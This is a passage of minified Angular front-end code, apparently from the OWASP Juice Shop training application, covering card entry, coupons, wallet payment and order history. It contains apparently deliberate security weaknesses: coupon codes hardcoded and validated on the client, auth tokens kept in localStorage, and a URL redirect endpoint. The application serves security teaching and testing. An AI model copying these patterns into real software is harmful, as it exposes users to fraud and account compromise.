d.by(this.storedCards)},e=>{console.log(e)})}save(){this.card.fullName=this.nameControl.value,this.card.cardNum=this.numberControl.value,this.card.expMonth=this.monthControl.value,this.card.expYear=this.yearControl.value,this.paymentService.save(this.card).subscribe(e=>{this.error=null,this.translate.get("CREDIT_CARD_SAVED",{cardnumber:String(e.cardNum).substring(String(e.cardNum).length-4)}).subscribe(o=>{this.snackBarHelperService.open(o,"confirmBar")},o=>{this.snackBarHelperService.open(o,"confirmBar")}),this.load(),this.resetForm()},e=>{this.snackBarHelperService.open(e.error?.error,"errorBar"),this.resetForm()})}delete(e){this.paymentService.del(e).subscribe(()=>{this.load()},o=>{console.log(o)})}emitSelectionToParent(e){this.emitSelection.emit(e)}resetForm(){this.nameControl.markAsUntouched(),this.nameControl.markAsPristine(),this.nameControl.setValue(""),this.numberControl.markAsUntouched(),this.numberControl.markAsPristine(),this.numberControl.setValue(""),this.monthControl.markAsUntouched(),this.monthControl.markAsPristine(),this.monthControl.setValue(""),this.yearControl.markAsUntouched(),this.yearControl.markAsPristine(),this.yearControl.setValue("")}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(ue),t.Y36(u.sK),t.Y36(J.H))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-payment-method"]],inputs:{allowDelete:"allowDelete"},outputs:{emitSelection:"emitSelection"},decls:46,vars:26,consts:[["fxLayout","column","fxLayoutGap","20px"],[4,"ngIf"],[1,"mat-elevation-z0"],[2,"margin-bottom","12px"],["appearance","outline","color","accent"],["translate",""],["type","text","matInput","",3,"formControl"],["translate","",4,"ngIf"],["type","number","matInput","",3,"formControl"],["cardIn",""],["align","end"],["appearance","outline","color","accent",2,"width","45%","margin-right","10%"],["matNativeControl","","required","",3,"formControl"],[3,"value",4,"ngFor","ngForOf"],["appearance","outline","color","accent",2,"width","45%"],["type","submit","id","submitButton","mat-raised-button","","color","primary",2,"margin-top","5px","float","right",3,"disabled","click"],[1,"material-icons"],[3,"dataSource"],["matColumnDef","Selection"],["fxFlex","15%",4,"matHeaderCellDef"],["fxFlex","15%",4,"matCellDef"],["matColumnDef","Number"],["fxFlex","35%",4,"matHeaderCellDef"],["fxFlex","35%",4,"matCellDef"],["matColumnDef","Name"],["fxFlex","30%",4,"matHeaderCellDef"],["fxFlex","30%",4,"matCellDef"],["matColumnDef","Expiry"],["fxFlex","20%",4,"matHeaderCellDef"],["fxFlex","20%",4,"matCellDef"],["matColumnDef","Remove"],[4,"matHeaderRowDef"],[4,"matRowDef","matRowDefColumns"],["fxFlex","15%"],[3,"click"],["fxFlex","35%"],["fxFlex","30%"],["fxFlex","20%"],["mat-icon-button","",3,"click"],[1,"far","fa-trash-alt"],[3,"value"]],template:function(e,o){if(1&e&&(t.TgZ(0,"div",0)(1,"h1"),t._uU(2),t.ALo(3,"translate"),t.qZA(),t.YNc(4,xs,19,3,"div",1),t.TgZ(5,"div")(6,"mat-expansion-panel",2)(7,"mat-expansion-panel-header",3)(8,"mat-panel-title"),t._uU(9),t.ALo(10,"translate"),t.qZA(),t.TgZ(11,"mat-panel-description"),t._uU(12),t.ALo(13,"translate"),t.qZA()(),t.TgZ(14,"div")(15,"mat-form-field",4)(16,"mat-label",5),t._uU(17,"LABEL_NAME"),t.qZA(),t._UZ(18,"input",6),t.YNc(19,bs,2,0,"mat-error",7),t.qZA(),t.TgZ(20,"mat-form-field",4)(21,"mat-label",5),t._uU(22,"LABEL_CARD_NUMBER"),t.qZA(),t._UZ(23,"input",8,9),t.TgZ(25,"mat-hint",10),t._uU(26),t.qZA(),t.YNc(27,Ts,2,0,"mat-error",7),t.YNc(28,As,2,0,"mat-error",7),t.qZA(),t.TgZ(29,"mat-form-field",11)(30,"mat-label",5),t._uU(31,"LABEL_EXPIRY_MONTH"),t.qZA(),t.TgZ(32,"select",12),t.YNc(33,ys,2,2,"option",13),t.qZA(),t.YNc(34,Zs,2,0,"mat-error",7),t.qZA(),t.TgZ(35,"mat-form-field",14)(36,"mat-label",5),t._uU(37,"LABEL_EXPIRY_YEAR"),t.qZA(),t.TgZ(38,"select",12),t.YNc(39,ws,2,2,"option",13),t.qZA(),t.YNc(40,Ss,2,0,"mat-error",7),t.qZA()(),t.TgZ(41,"button",15),t.NdJ("click",function(){return o.save()}),t.TgZ(42,"i",16),t._uU(43," send "),t.qZA(),t._uU(44),t.ALo(45,"translate"),t.qZA()()()()),2&e){const i=t.MAs(24);t.xp6(2),t.Oqu(t.lcZ(3,18,"MY_PAYMENT_OPTIONS")),t.xp6(2),t.Q6J("ngIf",o.cardsExist),t.xp6(5),t.hij(" ",t.lcZ(10,20,"ADD_NEW_CARD")," "),t.xp6(3),t.hij(" ",t.lcZ(13,22,"ADD_NEW_CARD_DESCRIPTION")," "),t.xp6(6),t.Q6J("formControl",o.nameControl),t.xp6(1),t.Q6J("ngIf",o.nameControl.invalid&&o.nameControl.errors.required),t.xp6(4),t.Q6J("formControl",o.numberControl),t.xp6(3),t.hij("",(null==i.value?null:i.value.length)||0,"/16"),t.xp6(1),t.Q6J("ngIf",o.numberControl.invalid&&o.numberControl.errors.required),t.xp6(1),t.Q6J("ngIf",o.numberControl.invalid&&(o.numberControl.errors.min||o.numberControl.errors.max)),t.xp6(4),t.Q6J("formControl",o.monthControl),t.xp6(1),t.Q6J("ngForOf",o.monthRange),t.xp6(1),t.Q6J("ngIf",o.monthControl.invalid&&o.monthControl.errors.required),t.xp6(4),t.Q6J("formControl",o.yearControl),t.xp6(1),t.Q6J("ngForOf",o.yearRange),t.xp6(1),t.Q6J("ngIf",o.yearControl.invalid&&o.yearControl.errors.required),t.xp6(1),t.Q6J("disabled",o.nameControl.invalid||o.numberControl.invalid||o.monthControl.invalid||o.yearControl.invalid),t.xp6(3),t.hij(" ",t.lcZ(45,24,"BTN_SUBMIT")," ")}},dependencies:[h.sg,h.O5,u.Pi,p.xw,p.SQ,p.yH,s.YN,s.Kr,s.Fj,s.wV,s.EJ,s.JJ,s.Q7,s.oH,f.TO,f.KE,f.bx,f.hX,x.lW,d.BZ,d.fO,d.as,d.w1,d.Dz,d.nj,d.ge,d.ev,d.XQ,d.Gk,B.Nt,V.ib,V.yz,V.yK,V.u4,nt.U0,u.X$],styles:[".heading[_ngcontent-%COMP%]{background:rgba(0,0,0,.2);font-size:x-large;justify-content:center;padding:12px 20px}mat-form-field[_ngcontent-%COMP%]{width:100%}.mat-expansion-panel-header-description[_ngcontent-%COMP%]{flex-basis:0}.detail-divider[_ngcontent-%COMP%]{margin-bottom:12px;margin-top:12px}mat-header-row[_ngcontent-%COMP%]{min-height:0!important}input[_ngcontent-%COMP%]::-webkit-outer-spin-button, input[_ngcontent-%COMP%]::-webkit-inner-spin-button{-webkit-appearance:none;-moz-appearance:none;margin:0}"]}),n})();function ks(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"div",11)(1,"div",12)(2,"div",13)(3,"span",14),t._uU(4,"LABEL_PAY_USING_WALLET"),t.qZA()(),t.TgZ(5,"div",15)(6,"b")(7,"span",14),t._uU(8,"LABEL_WALLET_BALANCE"),t.qZA(),t.TgZ(9,"span",16),t._uU(10),t.qZA()()(),t.TgZ(11,"div",17)(12,"button",18),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.useWallet())}),t._UZ(13,"i",19),t._uU(14),t.ALo(15,"translate"),t.qZA()()()()}if(2&n){const e=t.oxw();t.xp6(10),t.hij(" ",e.walletBalanceStr,""),t.xp6(2),t.Q6J("disabled",e.walletBalance-e.totalPrice<0),t.xp6(2),t.AsE(" ",t.lcZ(15,4,"LABEL_PAY")," ",null==e.totalPrice?null:e.totalPrice.toFixed(2),"\\xa4 ")}}function Is(n,a){if(1&n&&(t.TgZ(0,"div",31),t._uU(1),t.qZA()),2&n){const e=t.oxw(2);t.xp6(1),t.hij("",e.couponConfirmation," ")}}function Os(n,a){if(1&n&&(t.TgZ(0,"div",32),t._uU(1),t.qZA()),2&n){const e=t.oxw(2);t.xp6(1),t.hij("",null==e.couponError?null:e.couponError.error," ")}}function Us(n,a){1&n&&(t.TgZ(0,"mat-error"),t._uU(1),t.ALo(2,"translate"),t.qZA()),2&n&&(t.xp6(1),t.hij(" ",t.lcZ(2,1,"COUPON_CODE_HINT")," "))}const Ls=function(n,a){return{twitter:n,facebook:a}};function Ps(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-expansion-panel",20)(1,"mat-expansion-panel-header",21)(2,"mat-panel-title"),t._uU(3),t.ALo(4,"translate"),t.qZA(),t.TgZ(5,"mat-panel-description"),t._uU(6),t.ALo(7,"translate"),t.qZA()(),t.YNc(8,Is,2,1,"div",22),t.YNc(9,Os,2,1,"div",23),t.TgZ(10,"mat-form-field",24)(11,"mat-label",8),t._uU(12,"LABEL_COUPON"),t.qZA(),t._UZ(13,"mat-hint",25),t.ALo(14,"translate"),t._UZ(15,"input",26,27),t.ALo(17,"translate"),t.TgZ(18,"mat-hint",28),t._uU(19),t.qZA(),t.YNc(20,Us,3,3,"mat-error",29),t.qZA(),t.TgZ(21,"button",30),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.applyCoupon())}),t.TgZ(22,"mat-icon"),t._uU(23," redeem "),t.qZA(),t._uU(24),t.ALo(25,"translate"),t.qZA()()}if(2&n){const e=t.MAs(16),o=t.oxw();t.Q6J("expanded",o.couponPanelExpanded),t.xp6(3),t.hij(" ",t.lcZ(4,12,"ADD_A_COUPON")," "),t.xp6(3),t.hij(" ",t.lcZ(7,14,"VOUCHERS_AND_PROMOTIONAL_CODE")," "),t.xp6(2),t.Q6J("ngIf",o.couponConfirmation&&!o.couponControl.dirty),t.xp6(1),t.Q6J("ngIf",o.couponError&&!o.couponControl.dirty),t.xp6(4),t.Q6J("innerHtml",t.xi3(14,16,"FOLLOW_FOR_MONTHLY_COUPONS",t.WLB(23,Ls,o.twitterUrl,o.facebookUrl)),t.oJD),t.xp6(2),t.s9C("placeholder",t.lcZ(17,19,"ENTER_COUPON_CODE")),t.Q6J("formControl",o.couponControl),t.xp6(4),t.hij("",(null==e.value?null:e.value.length)||0,"/10"),t.xp6(1),t.Q6J("ngIf",o.couponControl.invalid&&(o.couponControl.errors.minlength||o.couponControl.errors.maxlength)),t.xp6(1),t.Q6J("disabled",o.couponControl.invalid),t.xp6(3),t.hij(" ",t.lcZ(25,21,"BTN_REDEEM")," ")}}const Je=function(){return{juiceshop:"OWASP Juice Shop"}};function Ns(n,a){1&n&&(t.TgZ(0,"span",56),t._uU(1,"THANKS_FOR_SUPPORT"),t.qZA()),2&n&&t.Q6J("translateParams",t.DdM(1,Je))}const Qe=function(n){return{appname:n}};function Es(n,a){if(1&n&&(t.TgZ(0,"span",56),t._uU(1,"THANKS_FOR_SUPPORT_CUSTOMIZED"),t.qZA()),2&n){const e=t.oxw(2);t.Q6J("translateParams",t.VKq(1,Qe,e.applicationName))}}function Ms(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",57),t.NdJ("click",function(){t.CHM(e);const i=t.oxw(2);return t.KtG(i.showBitcoinQrCode())}),t._UZ(1,"i",58),t._uU(2," Bitcoin "),t.qZA()}}function Ds(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",57),t.NdJ("click",function(){t.CHM(e);const i=t.oxw(2);return t.KtG(i.showDashQrCode())}),t.TgZ(1,"i",59),t._uU(2,"\\xd0"),t.qZA(),t._uU(3," Dash"),t.qZA()}}function qs(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",57),t.NdJ("click",function(){t.CHM(e);const i=t.oxw(2);return t.KtG(i.showEtherQrCode())}),t._UZ(1,"i",60),t._uU(2," Ether "),t.qZA()}}function Fs(n,a){1&n&&(t.TgZ(0,"span",56),t._uU(1,"OFFICIAL_MERCHANDISE_STORES"),t.qZA()),2&n&&t.Q6J("translateParams",t.DdM(1,Je))}function Bs(n,a){if(1&n&&(t.TgZ(0,"span",56),t._uU(1,"OFFICIAL_MERCHANDISE_STORES_CUSTOMIZED"),t.qZA()),2&n){const e=t.oxw(2);t.Q6J("translateParams",t.VKq(1,Qe,e.applicationName))}}function Rs(n,a){if(1&n&&(t.TgZ(0,"mat-expansion-panel",33)(1,"mat-expansion-panel-header",21)(2,"mat-panel-title"),t._uU(3),t.ALo(4,"translate"),t.qZA()(),t.TgZ(5,"div",34)(6,"div",35)(7,"div",36)(8,"label",8),t._uU(9,"LABEL_DONATIONS"),t.qZA()(),t.TgZ(10,"small"),t._uU(11," ("),t.YNc(12,Ns,2,2,"span",37),t.YNc(13,Es,2,3,"span",37),t._UZ(14,"i",38),t._uU(15,") "),t.qZA(),t.TgZ(16,"div",39)(17,"a",40)(18,"button",41),t._UZ(19,"i",42),t._uU(20),t.ALo(21,"translate"),t.qZA()(),t.YNc(22,Ms,3,0,"button",43),t.YNc(23,Ds,4,0,"button",43),t.YNc(24,qs,3,0,"button",43),t.qZA()(),t._UZ(25,"span",44),t.TgZ(26,"div",45)(27,"div",36)(28,"label",8),t._uU(29,"LABEL_MERCHANDISE"),t.qZA()(),t.TgZ(30,"small"),t._uU(31," ("),t.YNc(32,Fs,2,2,"span",37),t.YNc(33,Bs,2,3,"span",37),t._UZ(34,"i",46),t._uU(35,") "),t.qZA(),t.TgZ(36,"div",39)(37,"a",47)(38,"button",41),t._UZ(39,"i",48),t._uU(40," Spreadshirt (US)"),t.qZA()(),t.TgZ(41,"a",49)(42,"button",41),t._UZ(43,"i",48),t._uU(44," Spreadshirt (DE)"),t.qZA()(),t.TgZ(45,"a",50)(46,"button",41),t._UZ(47,"i",51),t._uU(48," StickerYou"),t.qZA()(),t.TgZ(49,"a",52)(50,"button",41),t._UZ(51,"i",53),t._uU(52," Leanpub"),t.qZA()(),t.TgZ(53,"a",54)(54,"button",41),t._UZ(55,"i",55),t._uU(56," OpenSea"),t.qZA()()()()()()),2&n){const e=t.oxw();t.Q6J("expanded",e.paymentPanelExpanded),t.xp6(3),t.hij(" ",t.lcZ(4,10,"OTHER_PAYMENT_OPTIONS")," "),t.xp6(9),t.Q6J("ngIf","OWASP Juice Shop"===e.applicationName),t.xp6(1),t.Q6J("ngIf","OWASP Juice Shop"!==e.applicationName),t.xp6(7),t.hij(" ",t.lcZ(21,12,"BTN_CREDIT_CARD"),""),t.xp6(2),t.Q6J("ngIf",!1),t.xp6(1),t.Q6J("ngIf",!1),t.xp6(1),t.Q6J("ngIf",!1),t.xp6(8),t.Q6J("ngIf","OWASP Juice Shop"===e.applicationName),t.xp6(1),t.Q6J("ngIf","OWASP Juice Shop"!==e.applicationName)}}function Ys(n,a){1&n&&(t.TgZ(0,"span",8),t._uU(1,"REVIEW_ALERT"),t.qZA())}function Js(n,a){1&n&&(t.TgZ(0,"span",8),t._uU(1,"REVIEW_WALLET"),t.qZA())}O.vI.add(g.bMA,g.Cly,g.m6i,Z.To0,g.u8Q,g.Dfm,g.L4e,g.oFW,g.SvR,g.NBC,Z.uy2,g.q2v);let Qs=(()=>{class n{constructor(e,o,i,r,l,m,v,A,q,Y,dt,wt,St){this.location=e,this.cookieService=o,this.userService=i,this.deliveryService=r,this.walletService=l,this.router=m,this.dialog=v,this.configurationService=A,this.basketService=q,this.translate=Y,this.activatedRoute=dt,this.ngZone=wt,this.snackBarHelperService=St,this.card={},this.twitterUrl=null,this.facebookUrl=null,this.applicationName="OWASP Juice Shop",this.couponControl=new s.p4("",[s.kI.required,s.kI.minLength(10),s.kI.maxLength(10)]),this.paymentId=void 0,this.couponPanelExpanded=!1,this.paymentPanelExpanded=!1,this.walletBalance=0,this.totalPrice=0,this.paymentMode="card",this.campaigns={WMNSDY2019:{validOn:15519996e5,discount:75},WMNSDY2020:{validOn:1583622e6,discount:60},WMNSDY2021:{validOn:1615158e6,discount:60},WMNSDY2022:{validOn:1646694e6,discount:60},WMNSDY2023:{validOn:167823e7,discount:60},ORANGE2020:{validOn:15885468e5,discount:50},ORANGE2021:{validOn:16200828e5,discount:40},ORANGE2022:{validOn:16516188e5,discount:40},ORANGE2023:{validOn:16831548e5,discount:40}}}ngOnInit(){this.initTotal(),this.walletService.get().subscribe(e=>{this.walletBalance=e,this.walletBalanceStr=parseFloat(e).toFixed(2)},e=>{console.log(e)}),this.couponPanelExpanded=!!localStorage.getItem("couponPanelExpanded")&&JSON.parse(localStorage.getItem("couponPanelExpanded")),this.paymentPanelExpanded=!!localStorage.getItem("paymentPanelExpanded")&&JSON.parse(localStorage.getItem("paymentPanelExpanded")),this.configurationService.getApplicationConfiguration().subscribe(e=>{e?.application?.social&&(e.application.social.twitterUrl&&(this.twitterUrl=e.application.social.twitterUrl),e.application.social.facebookUrl&&(this.facebookUrl=e.application.social.facebookUrl),e.application.name&&(this.applicationName=e.application.name))},e=>{console.log(e)})}initTotal(){this.activatedRoute.paramMap.subscribe(e=>{if(this.mode=e.get("entity"),"wallet"===this.mode)this.totalPrice=parseFloat(sessionStorage.getItem("walletTotal"));else if("deluxe"===this.mode)this.userService.deluxeStatus().subscribe(o=>{this.totalPrice=o.membershipCost},o=>{console.log(o)});else{const o=parseFloat(sessionStorage.getItem("itemTotal")),i=sessionStorage.getItem("couponDiscount")?parseFloat(sessionStorage.getItem("couponDiscount"))/100*o:0;this.deliveryService.getById(sessionStorage.getItem("deliveryMethodId")).subscribe(r=>{this.totalPrice=o+r.price-i})}},e=>{console.log(e)})}applyCoupon(){this.campaignCoupon=this.couponControl.value,this.clientDate=new Date;const e=60*(this.clientDate.getTimezoneOffset()+60)*1e3;this.clientDate.setHours(0,0,0,0),this.clientDate=this.clientDate.getTime()-e,sessionStorage.setItem("couponDetails",`${this.campaignCoupon}-${this.clientDate}`);const o=this.campaigns[this.couponControl.value];o?this.clientDate===o.validOn?this.showConfirmation(o.discount):(this.couponConfirmation=void 0,this.translate.get("INVALID_COUPON").subscribe(i=>{this.couponError={error:i}},i=>{this.couponError={error:i}}),this.resetCouponForm()):this.basketService.applyCoupon(Number(sessionStorage.getItem("bid")),encodeURIComponent(this.couponControl.value)).subscribe(i=>{this.showConfirmation(i)},i=>{this.couponConfirmation=void 0,this.couponError=i,this.resetCouponForm()})}showConfirmation(e){this.resetCouponForm(),this.couponError=void 0,sessionStorage.setItem("couponDiscount",e),this.translate.get("DISCOUNT_APPLIED",{discount:e}).subscribe(o=>{this.couponConfirmation=o},o=>{this.couponConfirmation=o}),this.initTotal()}getMessage(e){this.paymentId=e,this.paymentMode="card"}routeToPreviousUrl(){this.location.back()}choosePayment(){var e=this;if(sessionStorage.removeItem("itemTotal"),"wallet"===this.mode)this.walletService.put({balance:this.totalPrice,paymentId:this.paymentId}).subscribe(()=>{sessionStorage.removeItem("walletTotal"),this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/wallet"])})),this.snackBarHelperService.open("CHARGED_WALLET","confirmBar")},o=>{console.log(o),this.snackBarHelperService.open(o.error?.message,"errorBar")});else if("deluxe"===this.mode)this.userService.upgradeToDeluxe(this.paymentMode,this.paymentId).subscribe(o=>{localStorage.setItem("token",o.token),this.cookieService.put("token",o.token),this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/deluxe-membership"])}))},o=>{console.log(o)});else{if("wallet"===this.paymentMode){if(this.walletBalance<this.totalPrice)return void this.snackBarHelperService.open("INSUFFICIENT_WALLET_BALANCE","errorBar");sessionStorage.setItem("paymentId","wallet")}else sessionStorage.setItem("paymentId",this.paymentId);this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/order-summary"])}))}}noop(){}showBitcoinQrCode(){this.dialog.open(le,{data:{data:"bitcoin:1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm",url:"./redirect?to=https://blockchain.info/address/1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm",address:"1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm",title:"TITLE_BITCOIN_ADDRESS"}})}showDashQrCode(){this.dialog.open(le,{data:{data:"dash:Xr556RzuwX6hg5EGpkybbv5RanJoZN17kW",url:"./redirect?to=https://explorer.dash.org/address/Xr556RzuwX6hg5EGpkybbv5RanJoZN17kW",address:"Xr556RzuwX6hg5EGpkybbv5RanJoZN17kW",title:"TITLE_DASH_ADDRESS"}})}showEtherQrCode(){this.dialog.open(le,{data:{data:"0x0f933ab9fCAAA782D0279C300D73750e1311EAE6",url:"./redirect?to=https://etherscan.io/address/0x0f933ab9fcaaa782d0279c300d73750e1311eae6",address:"0x0f933ab9fCAAA782D0279C300D73750e1311EAE6",title:"TITLE_ETHER_ADDRESS"}})}useWallet(){this.paymentMode="wallet",this.choosePayment()}resetCouponForm(){this.couponControl.setValue(""),this.couponControl.markAsPristine(),this.couponControl.markAsUntouched()}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(h.Ye),t.Y36(I.N_),t.Y36(R),t.Y36(Dt),t.Y36(ce),t.Y36(U.F0),t.Y36(N.uw),t.Y36(b.e),t.Y36(X),t.Y36(u.sK),t.Y36(U.gz),t.Y36(t.R0b),t.Y36(J.H))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-payment"]],decls:24,vars:10,consts:[[1,"mat-own-card","mat-elevation-z6"],[3,"allowDelete","emitSelection"],["class","mat-elevation-z0","class","custom-card",4,"ngIf"],["class","mat-elevation-z0","id","collapseCouponElement",3,"expanded",4,"ngIf"],["class","mat-elevation-z0",3,"expanded",4,"ngIf"],[2,"margin-top","20px","margin-bottom","20px"],["mat-stroked-button","",1,"btn","btn-return",3,"click"],["mat-raised-button","","mat-button","","color","primary","aria-label","Proceed to review",1,"btn","nextButton",3,"disabled","click"],["translate",""],[2,"text-align","center","margin-top","-27px"],["translate","",4,"ngIf"],[1,"custom-card"],["fxLayout","row"],["fxFlex","42%"],["translate","",1,"card-title"],["fxFlex","38%"],[1,"confirmation","card-title"],["fxFlex","20%"],["type","submit","color","primary","mat-raised-button","",1,"btn",2,"float","right",3,"disabled","click"],[1,"fas","fa-hand-holding-usd","fa-lg"],["id","collapseCouponElement",1,"mat-elevation-z0",3,"expanded"],[1,"detail-divider"],["style","margin-top:5px;","class","confirmation",4,"ngIf"],["style","margin-top:5px;","class","error",4,"ngIf"],["appearance","outline","color","accent"],[3,"innerHtml"],["id","coupon","matInput","","type","text",3,"formControl","placeholder"],["coupon",""],["align","end"],[4,"ngIf"],["type","submit","id","applyCouponButton","color","accent","mat-raised-button","",2,"margin-top","5px","float","right",3,"disabled","click"],[1,"confirmation",2,"margin-top","5px"],[1,"error",2,"margin-top","5px"],[1,"mat-elevation-z0",3,"expanded"],["fxLayout","row","fxLayout.lt-lg","column"],["fxFlex","34%","fxFlex.lt-lg","100%",1,"mat-elevation-z0"],[1,"payment-label"],["translate","",3,"translateParams",4,"ngIf"],[1,"fas","fa-heart","error",2,"margin-left","3px"],[1,"button-container",2,"margin-top","6px"],["href","https://pwning.owasp-juice.shop/part3/donations.html"],["mat-stroked-button",""],[1,"fab","fa-stripe","fa-lg"],["mat-stroked-button","",3,"click",4,"ngIf"],[1,"fill-remaining-space"],["fxFlex","65%","fxFlex.lt-lg","100%",1,"mat-elevation-z0"],[1,"fas","fa-thumbs-up","confirmation",2,"margin-left","3px"],["href","./redirect?to=http://shop.spreadshirt.com/juiceshop"],[1,"fas","fa-tshirt","fa-lg"],["href","./redirect?to=http://shop.spreadshirt.de/juiceshop"],["href","./redirect?to=https://www.stickeryou.com/products/owasp-juice-shop/794"],[1,"fas","fa-sticky-note","fa-lg"],["href","./redirect?to=http://leanpub.com/juice-shop"],[1,"fab","fa-leanpub","fa-lg"],["href","https://opensea.io/collection/juice-shop"],[1,"fas","fa-palette","fa-lg"],["translate","",3,"translateParams"],["mat-stroked-button","",3,"click"],[1,"fab","fa-btc","fa-lg"],[1,"fa-lg"],[1,"fab","fa-ethereum","fa-lg"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card",0)(1,"div")(2,"app-payment-method",1),t.NdJ("emitSelection",function(r){return o.getMessage(r)}),t.qZA(),t._UZ(3,"mat-divider"),t.YNc(4,ks,16,6,"div",2),t._UZ(5,"mat-divider"),t.YNc(6,Ps,26,26,"mat-expansion-panel",3),t._UZ(7,"mat-divider"),t.YNc(8,Rs,57,14,"mat-expansion-panel",4),t._UZ(9,"mat-divider"),t.TgZ(10,"div",5)(11,"button",6),t.NdJ("click",function(){return o.routeToPreviousUrl()}),t.TgZ(12,"mat-icon"),t._uU(13," navigate_before "),t.qZA(),t._uU(14),t.ALo(15,"translate"),t.qZA(),t.TgZ(16,"button",7),t.NdJ("click",function(){return o.choosePayment()}),t.TgZ(17,"mat-icon"),t._uU(18," navigate_next "),t.qZA(),t.TgZ(19,"span",8),t._uU(20,"LABEL_CONTINUE"),t.qZA()(),t.TgZ(21,"p",9),t.YNc(22,Ys,2,0,"span",10),t.YNc(23,Js,2,0,"span",10),t.qZA()()()()),2&e&&(t.xp6(2),t.Q6J("allowDelete",!1),t.xp6(2),t.Q6J("ngIf","wallet"!==o.mode),t.xp6(2),t.Q6J("ngIf","wallet"!==o.mode),t.xp6(2),t.Q6J("ngIf","wallet"!==o.mode),t.xp6(6),t.hij(" ",t.lcZ(15,8,"LABEL_BACK")," "),t.xp6(2),t.Q6J("disabled",void 0===o.paymentId&&"wallet"!==o.paymentMode),t.xp6(6),t.Q6J("ngIf","deluxe"!==o.mode&&"wallet"!==o.mode),t.xp6(1),t.Q6J("ngIf","wallet"===o.mode))},dependencies:[h.O5,u.Pi,p.xw,p.yH,s.Fj,s.JJ,s.oH,F.Hw,f.TO,f.KE,f.bx,f.hX,x.lW,T.a8,B.Nt,z.d,V.ib,V.yz,V.yK,V.u4,Ye,u.X$],styles:["mat-form-field[_ngcontent-%COMP%]{width:100%}.mat-own-card[_ngcontent-%COMP%]{display:block;margin-left:20%;margin-right:20%}.btn-return[_ngcontent-%COMP%]{display:block;margin-left:0;margin-right:auto}.nextButton[_ngcontent-%COMP%]{display:block;margin-left:auto;margin-right:0;margin-top:-37px}mat-card[_ngcontent-%COMP%]{height:auto}.mat-expansion-panel-header-description[_ngcontent-%COMP%]{flex-basis:0}.mat-raised-button[_ngcontent-%COMP%]{margin-right:3px}.custom-card[_ngcontent-%COMP%]{padding:18px 24px}.card-title[_ngcontent-%COMP%]{font-size:15px;line-height:36px;vertical-align:middle}.fill-remaining-space[_ngcontent-%COMP%]{flex:1 1 auto}.detail-divider[_ngcontent-%COMP%]{margin-bottom:12px;margin-top:12px}.mat-card[_ngcontent-%COMP%] .mat-divider-horizontal[_ngcontent-%COMP%]{position:relative!important}"]}),n})(),Hs=(()=>{class n{}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-saved-payment-methods"]],decls:2,vars:1,consts:[[1,"mat-own-card","mat-elevation-z6"],[3,"allowDelete"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card",0),t._UZ(1,"app-payment-method",1),t.qZA()),2&e&&(t.xp6(1),t.Q6J("allowDelete",!0))},dependencies:[T.a8,Ye],styles:[".mat-own-card[_ngcontent-%COMP%]{display:block;margin-left:20%;margin-right:20%}"]}),n})(),pe=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/rest/order-history"}get(){return this.http.get(this.host).pipe((0,C.U)(e=>e.data),(0,_.K)(e=>{throw e}))}getAll(){return this.http.get(this.host+"/orders").pipe((0,C.U)(e=>e.data),(0,_.K)(e=>{throw e}))}toggleDeliveryStatus(e,o){return this.http.put(`${this.host}/${e}/delivery-status`,o).pipe((0,C.U)(i=>i.data),(0,_.K)(i=>{throw i}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();const Gs=["paginatorOrderHistory"],js=["paginator"];function Ks(n,a){1&n&&t._UZ(0,"mat-header-cell",32)}function Ws(n,a){if(1&n&&(t.TgZ(0,"mat-cell",33),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij(" ",e.orderId,"")}}function zs(n,a){1&n&&t._UZ(0,"mat-header-cell",34)}function $s(n,a){if(1&n&&(t.TgZ(0,"mat-cell",35),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij(" ",null==e.totalPrice?null:e.totalPrice.toFixed(2),"\\xa4")}}function Vs(n,a){1&n&&t._UZ(0,"mat-header-cell",36)}function Xs(n,a){1&n&&(t.TgZ(0,"div",40),t._uU(1,"LABEL_IN_TRANSIT"),t.qZA())}function tl(n,a){1&n&&(t.TgZ(0,"div",41),t._uU(1,"LABEL_DELIVERED"),t.qZA())}function el(n,a){if(1&n&&(t.TgZ(0,"mat-cell",37),t.YNc(1,Xs,2,0,"div",38),t.YNc(2,tl,2,0,"div",39),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.Q6J("ngIf",!e.delivered),t.xp6(1),t.Q6J("ngIf",e.delivered)}}function nl(n,a){1&n&&t._UZ(0,"mat-header-cell",35)}function ol(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",43),t.NdJ("click",function(){t.CHM(e);const i=t.oxw().$implicit,r=t.oxw();return t.KtG(r.changeDeliveryStatus(i.delivered,i.id))}),t.ALo(1,"translate"),t.TgZ(2,"mat-icon"),t._uU(3," cached "),t.qZA()()}2&n&&t.s9C("matTooltip",t.lcZ(1,1,"LABEL_MARK_AS_TRANSIT"))}function al(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",43),t.NdJ("click",function(){t.CHM(e);const i=t.oxw().$implicit,r=t.oxw();return t.KtG(r.changeDeliveryStatus(i.delivered,i.id))}),t.ALo(1,"translate"),t.TgZ(2,"mat-icon"),t._uU(3," check_circle 